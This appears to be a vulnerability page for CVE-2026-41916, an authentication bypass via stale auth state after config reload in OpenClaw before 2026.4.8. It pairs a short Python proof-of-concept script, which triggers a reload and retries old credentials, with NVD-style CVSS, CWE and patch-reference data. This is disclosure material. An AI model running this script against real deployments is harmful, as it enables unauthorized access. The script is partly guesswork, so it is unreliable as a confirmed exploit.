CVE-2026-41916

import requests # PoC for CVE-2026-41916: OpenClaw Authentication Bypass via Config Reload # This script demonstrates how new connections use stale auth state after config reload. target_url = "http://target-openclaw-instance:8080" # Assume we have old credentials that should no longer work old_creds = {"user": "admin", "pass": "old_password"} # Step 1: Trigger a configuration reload # This might be done via a specific API endpoint accessible by low-priv users print("[*] Triggering configuration reload...") try: # Simulating the API call to reload config requests.post(f"{target_url}/api/reload") except Exception as e: print(f"[-] Failed to trigger reload: {e}") # Step 2: Attempt to connect using old (stale) credentials # Due to the vulnerability, the system checks against the pre-reload config print("[*] Attempting connection with stale credentials...") response = requests.get(f"{target_url}/api/gateway/status", auth=(old_creds["user"], old_creds["pass"])) if response.status_code == 200: print("[+] Exploit successful! Authentication bypassed using stale state.") else: print("[-] Exploit failed.")

{"cve": {"id": "CVE-2026-41916", "sourceIdentifier": "[email protected]", "published": "2026-04-28T19:37:45.540", "lastModified": "2026-04-30T14:04:22.050", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.4.8 contains an authentication state management vulnerability where the resolvedAuth closure becomes stale after configuration reload. Newly accepted gateway connections continue using outdated resolved auth state, allowing attackers to bypass authentication controls through config reload operations."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-613"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.4.8", "matchCriteriaId": "37A0977C-2C03-4821-B459-0FD7E4A6635A"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/d7c3210cd6f5fdfdc1beff4c9541673e814354d5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-68x5-xx89-w9mm", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-stale-authentication-state-via-config-reload", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}